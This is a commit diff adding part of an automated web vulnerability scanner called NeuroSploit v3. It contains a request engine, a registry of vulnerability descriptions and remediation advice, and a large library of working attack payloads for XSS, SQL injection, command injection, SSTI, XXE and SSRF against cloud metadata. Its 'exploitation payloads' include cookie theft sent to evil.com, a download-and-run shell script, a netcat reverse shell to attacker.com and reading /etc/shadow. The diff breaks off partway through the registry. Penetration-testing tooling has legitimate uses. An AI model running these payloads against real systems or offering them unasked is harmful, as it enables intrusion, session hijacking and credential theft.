Add files via upload

This commit is contained in:
Joas A Santos
2026-01-19 19:21:57 -03:00
committed by GitHub
parent b966ba658a
commit 5a8a1fc0d7
57 changed files with 17928 additions and 0 deletions
+5
View File
@@ -0,0 +1,5 @@
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
from backend.core.vuln_engine.registry import VulnerabilityRegistry
from backend.core.vuln_engine.payload_generator import PayloadGenerator
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
+287
View File
@@ -0,0 +1,287 @@
"""
NeuroSploit v3 - Dynamic Vulnerability Engine
The core of NeuroSploit v3: prompt-driven vulnerability testing.
Instead of hardcoded tests, this engine dynamically tests based on
what vulnerabilities are extracted from the user's prompt.
"""
import asyncio
import aiohttp
from typing import List, Dict, Optional, Any
from datetime import datetime
from backend.core.vuln_engine.registry import VulnerabilityRegistry
from backend.core.vuln_engine.payload_generator import PayloadGenerator
from backend.models import Endpoint, Vulnerability, VulnerabilityTest
from backend.schemas.prompt import VulnerabilityTypeExtracted
class TestResult:
"""Result of a vulnerability test"""
def __init__(
self,
vuln_type: str,
is_vulnerable: bool,
confidence: float,
payload: str,
request_data: dict,
response_data: dict,
evidence: Optional[str] = None
):
self.vuln_type = vuln_type
self.is_vulnerable = is_vulnerable
self.confidence = confidence
self.payload = payload
self.request_data = request_data
self.response_data = response_data
self.evidence = evidence
class DynamicVulnerabilityEngine:
"""
Prompt-driven vulnerability testing engine.
Key principles:
1. Tests ONLY what the prompt specifies
2. Generates payloads dynamically based on context
3. Uses multiple detection techniques per vulnerability type
4. Adapts based on target responses
"""
def __init__(self, llm_manager=None):
self.llm_manager = llm_manager
self.registry = VulnerabilityRegistry()
self.payload_generator = PayloadGenerator()
self.session: Optional[aiohttp.ClientSession] = None
self.timeout = aiohttp.ClientTimeout(total=30)
async def __aenter__(self):
self.session = aiohttp.ClientSession(timeout=self.timeout)
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
if self.session:
await self.session.close()
async def test_endpoint(
self,
endpoint: Endpoint,
vuln_types: List[VulnerabilityTypeExtracted],
context: Dict[str, Any],
progress_callback=None
) -> List[TestResult]:
"""
Test an endpoint for specified vulnerability types.
Args:
endpoint: The endpoint to test
vuln_types: List of vulnerability types to test for
context: Additional context (technologies, WAF info, etc.)
progress_callback: Optional callback for progress updates
Returns:
List of test results
"""
results = []
if not self.session:
self.session = aiohttp.ClientSession(timeout=self.timeout)
for vuln in vuln_types:
try:
if progress_callback:
await progress_callback(f"Testing {vuln.type} on {endpoint.url}")
# Get tester for this vulnerability type
tester = self.registry.get_tester(vuln.type)
# Get payloads for this vulnerability and endpoint
payloads = await self.payload_generator.get_payloads(
vuln_type=vuln.type,
endpoint=endpoint,
context=context
)
# Test each payload
for payload in payloads:
result = await self._execute_test(
endpoint=endpoint,
vuln_type=vuln.type,
payload=payload,
tester=tester,
context=context
)
results.append(result)
# If vulnerable, try to get more evidence
if result.is_vulnerable:
deeper_results = await self._deep_test(
endpoint=endpoint,
vuln_type=vuln.type,
initial_result=result,
tester=tester,
context=context
)
results.extend(deeper_results)
break # Found vulnerability, move to next type
except Exception as e:
print(f"Error testing {vuln.type}: {e}")
continue
return results
async def _execute_test(
self,
endpoint: Endpoint,
vuln_type: str,
payload: str,
tester,
context: Dict
) -> TestResult:
"""Execute a single vulnerability test"""
request_data = {
"url": endpoint.url,
"method": endpoint.method,
"payload": payload,
"timestamp": datetime.utcnow().isoformat()
}
try:
# Build the test request
test_url, test_params, test_headers, test_body = tester.build_request(
endpoint=endpoint,
payload=payload
)
# Send the request
async with self.session.request(
method=endpoint.method,
url=test_url,
params=test_params,
headers=test_headers,
data=test_body,
ssl=False,
allow_redirects=False
) as response:
response_text = await response.text()
response_data = {
"status": response.status,
"headers": dict(response.headers),
"body_preview": response_text[:2000] if response_text else "",
"content_length": len(response_text) if response_text else 0
}
# Analyze response for vulnerability
is_vulnerable, confidence, evidence = tester.analyze_response(
payload=payload,
response_status=response.status,
response_headers=dict(response.headers),
response_body=response_text,
context=context
)
return TestResult(
vuln_type=vuln_type,
is_vulnerable=is_vulnerable,
confidence=confidence,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence=evidence
)
except asyncio.TimeoutError:
# Timeout might indicate time-based injection
response_data = {"error": "timeout", "timeout_seconds": self.timeout.total}
is_vulnerable = tester.check_timeout_vulnerability(vuln_type)
return TestResult(
vuln_type=vuln_type,
is_vulnerable=is_vulnerable,
confidence=0.7 if is_vulnerable else 0.0,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence="Request timed out - possible time-based vulnerability" if is_vulnerable else None
)
except Exception as e:
response_data = {"error": str(e)}
return TestResult(
vuln_type=vuln_type,
is_vulnerable=False,
confidence=0.0,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence=None
)
async def _deep_test(
self,
endpoint: Endpoint,
vuln_type: str,
initial_result: TestResult,
tester,
context: Dict
) -> List[TestResult]:
"""
Perform deeper testing after initial vulnerability confirmation.
This helps establish higher confidence and better PoC.
"""
results = []
# Get exploitation payloads
deeper_payloads = await self.payload_generator.get_exploitation_payloads(
vuln_type=vuln_type,
initial_payload=initial_result.payload,
context=context
)
for payload in deeper_payloads[:3]: # Limit to 3 deeper tests
result = await self._execute_test(
endpoint=endpoint,
vuln_type=vuln_type,
payload=payload,
tester=tester,
context=context
)
if result.is_vulnerable:
result.confidence = min(result.confidence + 0.1, 1.0)
results.append(result)
return results
async def create_vulnerability_record(
self,
scan_id: str,
endpoint: Endpoint,
result: TestResult
) -> Vulnerability:
"""Create a vulnerability record from a test result"""
# Get severity based on vulnerability type
severity = self.registry.get_severity(result.vuln_type)
# Get CWE ID
cwe_id = self.registry.get_cwe_id(result.vuln_type)
# Get remediation advice
remediation = self.registry.get_remediation(result.vuln_type)
# Generate title
title = self.registry.get_title(result.vuln_type)
return Vulnerability(
scan_id=scan_id,
title=f"{title} on {endpoint.path or endpoint.url}",
vulnerability_type=result.vuln_type,
severity=severity,
cwe_id=cwe_id,
description=self.registry.get_description(result.vuln_type),
affected_endpoint=endpoint.url,
poc_request=str(result.request_data),
poc_response=str(result.response_data.get("body_preview", ""))[:5000],
poc_payload=result.payload,
impact=self.registry.get_impact(result.vuln_type),
remediation=remediation,
ai_analysis=result.evidence
)
@@ -0,0 +1,385 @@
"""
NeuroSploit v3 - Dynamic Payload Generator
Generates context-aware payloads for vulnerability testing.
"""
from typing import List, Dict, Any, Optional
import json
from pathlib import Path
class PayloadGenerator:
"""
Generates payloads for vulnerability testing.
Features:
- Extensive payload libraries per vulnerability type
- Context-aware payload selection (WAF bypass, encoding)
- Dynamic payload generation based on target info
"""
def __init__(self):
self.payload_libraries = self._load_payload_libraries()
def _load_payload_libraries(self) -> Dict[str, List[str]]:
"""Load comprehensive payload libraries"""
return {
# XSS Payloads
"xss_reflected": [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"<body onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src=\"javascript:alert('XSS')\">",
"<input onfocus=alert('XSS') autofocus>",
"<marquee onstart=alert('XSS')>",
"<details open ontoggle=alert('XSS')>",
"<video><source onerror=alert('XSS')>",
"'-alert('XSS')-'",
"\"-alert('XSS')-\"",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"<img src=x onerror=alert(document.domain)>",
"<svg/onload=alert('XSS')>",
"<body/onload=alert('XSS')>",
"<<script>alert('XSS')//<</script>",
"<ScRiPt>alert('XSS')</sCrIpT>",
"%3Cscript%3Ealert('XSS')%3C/script%3E",
"<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>",
],
"xss_stored": [
"<script>alert('StoredXSS')</script>",
"<img src=x onerror=alert('StoredXSS')>",
"<svg onload=alert('StoredXSS')>",
"javascript:alert('StoredXSS')",
"<a href=javascript:alert('StoredXSS')>click</a>",
],
"xss_dom": [
"#<script>alert('DOMXSS')</script>",
"#\"><script>alert('DOMXSS')</script>",
"javascript:alert('DOMXSS')",
"#'-alert('DOMXSS')-'",
],
# SQL Injection Payloads
"sqli_error": [
"'",
"\"",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'/*",
"\" OR \"1\"=\"1",
"1' AND '1'='1",
"1 AND 1=1",
"' AND ''='",
"admin'--",
"') OR ('1'='1",
"' UNION SELECT NULL--",
"1' ORDER BY 1--",
"1' ORDER BY 100--",
"'; WAITFOR DELAY '0:0:5'--",
"1; SELECT SLEEP(5)--",
],
"sqli_union": [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,2,3--",
"' UNION SELECT username,password FROM users--",
"' UNION ALL SELECT NULL,NULL,NULL--",
"' UNION SELECT @@version--",
"' UNION SELECT version()--",
"1 UNION SELECT * FROM information_schema.tables--",
],
"sqli_blind": [
"' AND 1=1--",
"' AND 1=2--",
"' AND 'a'='a",
"' AND 'a'='b",
"1' AND (SELECT COUNT(*) FROM users)>0--",
"' AND SUBSTRING(username,1,1)='a'--",
],
"sqli_time": [
"'; WAITFOR DELAY '0:0:5'--",
"' AND SLEEP(5)--",
"' AND (SELECT SLEEP(5))--",
"'; SELECT pg_sleep(5)--",
"' AND BENCHMARK(10000000,SHA1('test'))--",
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
],
# Command Injection
"command_injection": [
"; id",
"| id",
"|| id",
"& id",
"&& id",
"`id`",
"$(id)",
"; whoami",
"| whoami",
"; cat /etc/passwd",
"| cat /etc/passwd",
"; ls -la",
"& dir",
"| type C:\\Windows\\win.ini",
"; ping -c 3 127.0.0.1",
"| ping -n 3 127.0.0.1",
"\n/bin/cat /etc/passwd",
"a]); system('id'); //",
],
# SSTI Payloads
"ssti": [
"{{7*7}}",
"${7*7}",
"#{7*7}",
"<%= 7*7 %>",
"{{7*'7'}}",
"{{config}}",
"{{self}}",
"${T(java.lang.Runtime).getRuntime().exec('id')}",
"{{''.__class__.__mro__[2].__subclasses__()}}",
"{{config.items()}}",
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
"#{T(java.lang.System).getenv()}",
"${{7*7}}",
],
# NoSQL Injection
"nosql_injection": [
'{"$gt": ""}',
'{"$ne": ""}',
'{"$regex": ".*"}',
"admin'||'1'=='1",
'{"username": {"$ne": ""}, "password": {"$ne": ""}}',
'{"$where": "1==1"}',
"true, $where: '1 == 1'",
],
# LFI Payloads
"lfi": [
"../../../etc/passwd",
"....//....//....//etc/passwd",
"..%2f..%2f..%2fetc/passwd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd",
"file:///etc/passwd",
"....\\....\\....\\windows\\win.ini",
"..\\..\\..\\windows\\win.ini",
"/proc/self/environ",
"php://filter/convert.base64-encode/resource=index.php",
"php://input",
"expect://id",
"/var/log/apache2/access.log",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
],
# RFI Payloads
"rfi": [
"http://evil.com/shell.txt",
"https://evil.com/shell.txt?",
"//evil.com/shell.txt",
"http://evil.com/shell.txt%00",
],
# Path Traversal
"path_traversal": [
"../",
"..\\",
"....//",
"....\\\\",
"%2e%2e%2f",
"%2e%2e/",
"..%2f",
"%2e%2e%5c",
"..%255c",
"..%c0%af",
"..%c1%9c",
],
# XXE Payloads
"xxe": [
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><foo></foo>',
],
# SSRF Payloads
"ssrf": [
"http://127.0.0.1",
"http://localhost",
"http://169.254.169.254/latest/meta-data/",
"http://[::1]",
"http://0.0.0.0",
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.169.254/metadata/v1/",
"http://127.0.0.1:22",
"http://127.0.0.1:3306",
"http://127.0.0.1:6379",
"file:///etc/passwd",
"dict://127.0.0.1:6379/INFO",
"gopher://127.0.0.1:6379/_INFO",
],
"ssrf_cloud": [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
"http://169.254.169.254/metadata/v1.json",
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
],
# Open Redirect
"open_redirect": [
"https://evil.com",
"//evil.com",
"/\\evil.com",
"https:evil.com",
"//evil.com/%2f%2e%2e",
"////evil.com",
"https://evil.com@trusted.com",
"javascript:alert('redirect')",
],
# CORS Test Origins
"cors_misconfig": [
"https://evil.com",
"https://attacker.com",
"null",
"https://trusted.com.evil.com",
"https://trustedcom.evil.com",
],
# JWT Manipulation
"jwt_manipulation": [
'{"alg":"none"}',
'{"alg":"HS256"}', # Test algorithm confusion
'{"alg":"RS256"}',
],
# Auth Bypass
"auth_bypass": [
"' OR '1'='1",
"admin'--",
"admin' #",
"admin'/*",
"' OR 1=1--",
"admin",
"administrator",
"' OR ''='",
],
# IDOR
"idor": [
"1",
"2",
"0",
"-1",
"999999",
"admin",
"test",
"../1",
],
}
async def get_payloads(
self,
vuln_type: str,
endpoint: Any,
context: Dict[str, Any]
) -> List[str]:
"""
Get payloads for a vulnerability type.
Args:
vuln_type: Type of vulnerability to test
endpoint: Target endpoint
context: Additional context (technologies, WAF, etc.)
Returns:
List of payloads to test
"""
base_payloads = self.payload_libraries.get(vuln_type, [])
if not base_payloads:
# Fallback to similar type
for key in self.payload_libraries:
if vuln_type.startswith(key.split('_')[0]):
base_payloads = self.payload_libraries[key]
break
# If WAF detected, add encoded variants
if context.get("waf_detected"):
base_payloads = self._add_waf_bypasses(base_payloads, vuln_type)
# Limit payloads based on scan depth
depth = context.get("depth", "standard")
limits = {
"quick": 3,
"standard": 10,
"thorough": 20,
"exhaustive": len(base_payloads)
}
limit = limits.get(depth, 10)
return base_payloads[:limit]
async def get_exploitation_payloads(
self,
vuln_type: str,
initial_payload: str,
context: Dict[str, Any]
) -> List[str]:
"""
Generate exploitation payloads after initial vulnerability confirmation.
"""
exploitation_payloads = []
if "xss" in vuln_type:
exploitation_payloads = [
"<script>document.location='http://evil.com/steal?c='+document.cookie</script>",
"<img src=x onerror=fetch('http://evil.com/'+document.cookie)>",
"<script>new Image().src='http://evil.com/?c='+document.cookie</script>",
]
elif "sqli" in vuln_type:
exploitation_payloads = [
"' UNION SELECT table_name,NULL FROM information_schema.tables--",
"' UNION SELECT column_name,NULL FROM information_schema.columns--",
"' UNION SELECT username,password FROM users--",
]
elif "command" in vuln_type:
exploitation_payloads = [
"; cat /etc/shadow",
"; wget http://evil.com/shell.sh -O /tmp/s && bash /tmp/s",
"| nc -e /bin/bash attacker.com 4444",
]
elif "lfi" in vuln_type:
exploitation_payloads = [
"php://filter/convert.base64-encode/resource=../config.php",
"/proc/self/environ",
"/var/log/apache2/access.log",
]
elif "ssrf" in vuln_type:
exploitation_payloads = [
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://127.0.0.1:6379/INFO",
"http://127.0.0.1:3306/",
]
return exploitation_payloads
def _add_waf_bypasses(self, payloads: List[str], vuln_type: str) -> List[str]:
"""Add WAF bypass variants to payloads"""
bypassed = []
for payload in payloads:
bypassed.append(payload)
# URL encoding
bypassed.append(payload.replace("<", "%3C").replace(">", "%3E"))
# Double URL encoding
bypassed.append(payload.replace("<", "%253C").replace(">", "%253E"))
# Case variation
if "<script" in payload.lower():
bypassed.append(payload.replace("script", "ScRiPt"))
return bypassed
+404
View File
@@ -0,0 +1,404 @@
"""
NeuroSploit v3 - Vulnerability Registry
Registry of all vulnerability types and their testers.
Provides metadata, severity info, and tester classes.
"""
from typing import Dict, Optional, Tuple
from backend.core.vuln_engine.testers.base_tester import BaseTester
from backend.core.vuln_engine.testers.injection import (
XSSReflectedTester, XSSStoredTester, XSSDomTester,
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
CommandInjectionTester, SSTITester, NoSQLInjectionTester
)
from backend.core.vuln_engine.testers.file_access import (
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
)
from backend.core.vuln_engine.testers.request_forgery import (
SSRFTester, CSRFTester
)
from backend.core.vuln_engine.testers.auth import (
AuthBypassTester, JWTManipulationTester, SessionFixationTester
)
from backend.core.vuln_engine.testers.authorization import (
IDORTester, BOLATester, PrivilegeEscalationTester
)
from backend.core.vuln_engine.testers.client_side import (
CORSTester, ClickjackingTester, OpenRedirectTester
)
from backend.core.vuln_engine.testers.infrastructure import (
SecurityHeadersTester, SSLTester, HTTPMethodsTester
)
class VulnerabilityRegistry:
"""
Central registry for all vulnerability types.
Maps vulnerability types to:
- Tester classes
- Severity levels
- CWE IDs
- Descriptions
- Remediation advice
"""
# Vulnerability metadata
VULNERABILITY_INFO = {
# XSS
"xss_reflected": {
"title": "Reflected Cross-Site Scripting (XSS)",
"severity": "medium",
"cwe_id": "CWE-79",
"description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
"impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
"remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping"
},
"xss_stored": {
"title": "Stored Cross-Site Scripting (XSS)",
"severity": "high",
"cwe_id": "CWE-79",
"description": "Stored XSS occurs when malicious script is permanently stored on the target server, such as in a database, message forum, visitor log, or comment field.",
"impact": "All users who view the affected page will execute the malicious script, leading to mass credential theft, session hijacking, or malware distribution.",
"remediation": "1. Sanitize and validate all user input before storage\n2. Encode output when rendering\n3. Implement Content-Security-Policy\n4. Use HttpOnly and Secure flags on cookies"
},
"xss_dom": {
"title": "DOM-based Cross-Site Scripting",
"severity": "medium",
"cwe_id": "CWE-79",
"description": "DOM-based XSS occurs when client-side JavaScript processes user input and writes it to the DOM in an unsafe way.",
"impact": "Attacker can execute JavaScript in the user's browser through malicious links or user interaction.",
"remediation": "1. Avoid using dangerous DOM sinks (innerHTML, eval, document.write)\n2. Use textContent instead of innerHTML\n3. Sanitize user input on the client side\n4. Implement CSP with strict policies"
},
# SQL Injection
"sqli_error": {
"title": "Error-based SQL Injection",
"severity": "critical",
"cwe_id": "CWE-89",
"description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
"impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
"remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production"
},
"sqli_union": {
"title": "Union-based SQL Injection",
"severity": "critical",
"cwe_id": "CWE-89",
"description": "SQL injection allowing UNION-based queries to extract data from other database tables.",
"impact": "Full database extraction capability. Attacker can read all database tables, users, and potentially escalate to RCE.",
"remediation": "1. Use parameterized queries exclusively\n2. Implement strict input validation\n3. Use stored procedures where appropriate\n4. Monitor for unusual query patterns"
},
"sqli_blind": {
"title": "Blind SQL Injection (Boolean-based)",
"severity": "high",
"cwe_id": "CWE-89",
"description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
"impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
"remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring"
},
"sqli_time": {
"title": "Time-based Blind SQL Injection",
"severity": "high",
"cwe_id": "CWE-89",
"description": "SQL injection where attacker can infer information based on time delays in responses.",
"impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
"remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting"
},
# Command Injection
"command_injection": {
"title": "OS Command Injection",
"severity": "critical",
"cwe_id": "CWE-78",
"description": "Application passes unsafe user-supplied data to a system shell, allowing execution of arbitrary OS commands.",
"impact": "Complete system compromise. Attacker can execute any command with the application's privileges, potentially gaining full server access.",
"remediation": "1. Avoid shell commands; use native library functions\n2. If shell required, use strict whitelist validation\n3. Never pass user input directly to shell\n4. Run with minimal privileges, use containers"
},
# SSTI
"ssti": {
"title": "Server-Side Template Injection",
"severity": "critical",
"cwe_id": "CWE-94",
"description": "User input is unsafely embedded into server-side templates, allowing template code execution.",
"impact": "Often leads to remote code execution. Attacker can read files, execute commands, and compromise the server.",
"remediation": "1. Never pass user input to template engines\n2. Use logic-less templates when possible\n3. Implement sandbox environments for templates\n4. Validate and sanitize all template inputs"
},
# NoSQL Injection
"nosql_injection": {
"title": "NoSQL Injection",
"severity": "high",
"cwe_id": "CWE-943",
"description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
"impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
"remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters"
},
# File Access
"lfi": {
"title": "Local File Inclusion",
"severity": "high",
"cwe_id": "CWE-98",
"description": "Application includes local files based on user input, allowing access to sensitive files.",
"impact": "Read sensitive configuration files, source code, and potentially achieve code execution via log poisoning.",
"remediation": "1. Avoid dynamic file inclusion\n2. Use whitelist of allowed files\n3. Validate and sanitize file paths\n4. Implement proper access controls"
},
"rfi": {
"title": "Remote File Inclusion",
"severity": "critical",
"cwe_id": "CWE-98",
"description": "Application includes remote files, allowing execution of attacker-controlled code.",
"impact": "Direct remote code execution. Complete server compromise.",
"remediation": "1. Disable allow_url_include in PHP\n2. Use whitelists for file inclusion\n3. Never use user input in include paths\n4. Implement strict input validation"
},
"path_traversal": {
"title": "Path Traversal",
"severity": "high",
"cwe_id": "CWE-22",
"description": "Application allows navigation outside intended directory through ../ sequences.",
"impact": "Access to sensitive files outside web root, including configuration files and source code.",
"remediation": "1. Validate and sanitize file paths\n2. Use basename() to strip directory components\n3. Implement chroot or containerization\n4. Use whitelist of allowed directories"
},
"xxe": {
"title": "XML External Entity Injection",
"severity": "high",
"cwe_id": "CWE-611",
"description": "XML parser processes external entity references, allowing file access or SSRF.",
"impact": "Read local files, perform SSRF attacks, and potentially achieve denial of service.",
"remediation": "1. Disable external entity processing\n2. Use JSON instead of XML where possible\n3. Validate and sanitize XML input\n4. Use updated XML parsers with secure defaults"
},
"file_upload": {
"title": "Arbitrary File Upload",
"severity": "high",
"cwe_id": "CWE-434",
"description": "Application allows uploading of dangerous file types that can be executed.",
"impact": "Upload of web shells leading to remote code execution and complete server compromise.",
"remediation": "1. Validate file type using magic bytes\n2. Rename uploaded files\n3. Store outside web root\n4. Disable execution in upload directory"
},
# Request Forgery
"ssrf": {
"title": "Server-Side Request Forgery",
"severity": "high",
"cwe_id": "CWE-918",
"description": "Application makes requests to attacker-specified URLs, accessing internal resources.",
"impact": "Access to internal services, cloud metadata, and potential for pivoting to internal networks.",
"remediation": "1. Implement URL whitelist\n2. Block requests to internal IPs\n3. Disable unnecessary URL schemes\n4. Use network segmentation"
},
"ssrf_cloud": {
"title": "SSRF to Cloud Metadata",
"severity": "critical",
"cwe_id": "CWE-918",
"description": "SSRF vulnerability allowing access to cloud provider metadata services.",
"impact": "Credential theft, full cloud account compromise, lateral movement in cloud infrastructure.",
"remediation": "1. Block requests to metadata IPs\n2. Use IMDSv2 (AWS) or equivalent\n3. Implement strict URL validation\n4. Use firewall rules for metadata endpoints"
},
"csrf": {
"title": "Cross-Site Request Forgery",
"severity": "medium",
"cwe_id": "CWE-352",
"description": "Application allows state-changing requests without proper origin validation.",
"impact": "Attacker can perform actions as authenticated users, including transfers, password changes, or data modification.",
"remediation": "1. Implement anti-CSRF tokens\n2. Verify Origin/Referer headers\n3. Use SameSite cookie attribute\n4. Require re-authentication for sensitive actions"
},
# Authentication
"auth_bypass": {
"title": "Authentication Bypass",
"severity": "critical",
"cwe_id": "CWE-287",
"description": "Authentication mechanisms can be bypassed through various techniques.",
"impact": "Complete unauthorized access to user accounts and protected resources.",
"remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts"
},
"jwt_manipulation": {
"title": "JWT Token Manipulation",
"severity": "high",
"cwe_id": "CWE-347",
"description": "JWT implementation vulnerabilities allowing token forgery or manipulation.",
"impact": "Authentication bypass, privilege escalation, and identity impersonation.",
"remediation": "1. Always verify JWT signatures\n2. Use strong signing algorithms (RS256)\n3. Validate all claims including exp and iss\n4. Implement token refresh mechanisms"
},
"session_fixation": {
"title": "Session Fixation",
"severity": "medium",
"cwe_id": "CWE-384",
"description": "Application accepts session tokens from URL parameters or doesn't regenerate after login.",
"impact": "Attacker can hijack user sessions by fixing known session IDs.",
"remediation": "1. Regenerate session ID after login\n2. Only accept session from cookies\n3. Implement secure session management\n4. Use short session timeouts"
},
# Authorization
"idor": {
"title": "Insecure Direct Object Reference",
"severity": "high",
"cwe_id": "CWE-639",
"description": "Application exposes internal object IDs without proper authorization checks.",
"impact": "Unauthorized access to other users' data, potentially exposing sensitive information.",
"remediation": "1. Implement proper authorization checks\n2. Use indirect references or UUIDs\n3. Validate user ownership of resources\n4. Implement access control lists"
},
"bola": {
"title": "Broken Object Level Authorization",
"severity": "high",
"cwe_id": "CWE-639",
"description": "API endpoints don't properly validate object-level permissions.",
"impact": "Access to any object by manipulating IDs, leading to mass data exposure.",
"remediation": "1. Implement object-level authorization\n2. Validate permissions on every request\n3. Use authorization middleware\n4. Log and monitor access patterns"
},
"privilege_escalation": {
"title": "Privilege Escalation",
"severity": "critical",
"cwe_id": "CWE-269",
"description": "User can elevate privileges to access higher-level functionality.",
"impact": "User can gain admin access, access to all data, and full system control.",
"remediation": "1. Implement role-based access control\n2. Validate roles on every request\n3. Use principle of least privilege\n4. Monitor for privilege escalation attempts"
},
# Client-side
"cors_misconfig": {
"title": "CORS Misconfiguration",
"severity": "medium",
"cwe_id": "CWE-942",
"description": "Overly permissive CORS policy allows cross-origin requests from untrusted domains.",
"impact": "Cross-origin data theft and unauthorized API access from malicious websites.",
"remediation": "1. Implement strict origin whitelist\n2. Avoid Access-Control-Allow-Origin: *\n3. Validate Origin header server-side\n4. Don't reflect Origin without validation"
},
"clickjacking": {
"title": "Clickjacking",
"severity": "medium",
"cwe_id": "CWE-1021",
"description": "Application can be framed by malicious pages, tricking users into clicking hidden elements.",
"impact": "Users can be tricked into performing unintended actions like transfers or permission grants.",
"remediation": "1. Set X-Frame-Options: DENY\n2. Implement frame-ancestors CSP directive\n3. Use JavaScript frame-busting as backup\n4. Require confirmation for sensitive actions"
},
"open_redirect": {
"title": "Open Redirect",
"severity": "low",
"cwe_id": "CWE-601",
"description": "Application redirects to user-specified URLs without validation.",
"impact": "Phishing attacks using trusted domain, credential theft, and reputation damage.",
"remediation": "1. Use whitelist for redirect destinations\n2. Validate redirect URLs server-side\n3. Don't use user input directly in redirects\n4. Warn users before redirecting externally"
},
# Infrastructure
"security_headers": {
"title": "Missing Security Headers",
"severity": "low",
"cwe_id": "CWE-693",
"description": "Application doesn't set important security headers like CSP, HSTS, X-Frame-Options.",
"impact": "Increased risk of XSS, clickjacking, and MITM attacks.",
"remediation": "1. Implement Content-Security-Policy\n2. Enable Strict-Transport-Security\n3. Set X-Frame-Options and X-Content-Type-Options\n4. Configure Referrer-Policy"
},
"ssl_issues": {
"title": "SSL/TLS Configuration Issues",
"severity": "medium",
"cwe_id": "CWE-326",
"description": "Weak SSL/TLS configuration including outdated protocols or weak ciphers.",
"impact": "Traffic interception, credential theft, and man-in-the-middle attacks.",
"remediation": "1. Disable SSLv3, TLS 1.0, TLS 1.1\n2. Use strong cipher suites only\n3. Enable HSTS with preload\n4. Implement certificate pinning for mobile apps"
},
"http_methods": {
"title": "Dangerous HTTP Methods Enabled",
"severity": "low",
"cwe_id": "CWE-749",
"description": "Server allows potentially dangerous HTTP methods like TRACE, PUT, DELETE without proper restrictions.",
"impact": "Potential for XST attacks, unauthorized file uploads, or resource manipulation.",
"remediation": "1. Disable unnecessary HTTP methods\n2. Configure web server to reject TRACE/TRACK\n3. Implement proper authorization for PUT/DELETE\n4. Use web application firewall"
},
# Logic
"race_condition": {
"title": "Race Condition",
"severity": "medium",
"cwe_id": "CWE-362",
"description": "Application has race conditions that can be exploited through concurrent requests.",
"impact": "Double-spending, bypassing limits, or corrupting data through timing attacks.",
"remediation": "1. Implement proper locking mechanisms\n2. Use atomic database operations\n3. Implement idempotency keys\n4. Add proper synchronization"
},
"business_logic": {
"title": "Business Logic Vulnerability",
"severity": "varies",
"cwe_id": "CWE-840",
"description": "Flaw in application's business logic allowing unintended behavior.",
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
}
}
# Tester class mappings
TESTER_CLASSES = {
"xss_reflected": XSSReflectedTester,
"xss_stored": XSSStoredTester,
"xss_dom": XSSDomTester,
"sqli_error": SQLiErrorTester,
"sqli_union": SQLiUnionTester,
"sqli_blind": SQLiBlindTester,
"sqli_time": SQLiTimeTester,
"command_injection": CommandInjectionTester,
"ssti": SSTITester,
"nosql_injection": NoSQLInjectionTester,
"lfi": LFITester,
"rfi": RFITester,
"path_traversal": PathTraversalTester,
"xxe": XXETester,
